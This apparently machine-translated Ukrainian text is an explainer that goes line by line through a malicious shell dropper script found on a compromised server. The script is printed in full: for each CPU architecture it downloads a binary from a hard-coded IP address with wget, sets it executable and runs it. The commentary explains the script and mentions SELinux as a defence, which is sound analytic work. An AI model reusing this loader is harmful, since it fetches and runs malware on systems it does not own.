Рядок за рядком:
#!/bin/sh
Встановлює sh
оболонку, що б не було, як лінію шебанга. sh%20/tmp/ks
у запиті це відміняє, тому цей рядок трактується як звичайний коментар і ігнорується.
u="asgknskjdgn"
Оголошує довільну назву, імовірно, щоб уникнути зіткнення з іншими іменами. Я не впевнений, чому вони не просто використовуватимуть mktemp
, але, можливо, це є не на всіх платформах.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Перераховує кілька загальних архітектур процесора.
http_server="80.211.173.159"
http_port=80
Сервер, який має експлуатування.
cd /tmp/||cd /var/
Намагається змінити каталог на десь ваш веб-сервер, ймовірно, зможе створити файли. Я вважаю, що SELinux допоможе у цьому, застосовуючи набагато більш жорсткі правила щодо того, що може зробити веб-сервер, ніж файлова система сама по собі.
for name in $bin_names
do
Для кожної архітектури процесора ...
rm -rf $u
Видаляє раніше випробувані програми експлуатування. Не потрібне через наступний рядок, тому його можна ігнорувати.
cp $SHELL $u
Копіює поточний виконуваний оболонку ( /bin/sh
). Можна ігнорувати через рядок після наступного.
chmod 777 $u
Змушує всіх мати повний доступ до нового файлу. Це повинно було бути після wget
команди, яка є або ознакою сценарію оболонки сценарію новачка, або технікою неправильного спрямування.
>$u
Виправляє файл. Безглуздо через наступний рядок.
wget http://$http_server:$http_port/$name -O -> $u
Перезаписує файл із сценарієм експлуатації для цієї архітектури. -O -> $u
могла бути написана -O - > $u
(дефіс вказує, що завантаження слід записати на стандартний вихід), що еквівалентно -O $u
.
./$u $name
Запускає сценарій експлуатування з архітектурою як перший аргумент.
done
Закінчується петля.
Схоже, це тривіальний сценарій спроби експлуатування, намагаючись відомі подвиги проти різних платформ процесора. Я не знаю, чому він перезаписується $u
три рази, але ці операції можуть бути просто залишками попередньої ітерації сценарію. Імовірно, що в попередній версії експлуатування було жорстко кодованим, а не динамічно обслуговуваним - перший простіше, але майже гарантує, що сценарій буде менш ефективним з часом, коли помилки будуть виправлені.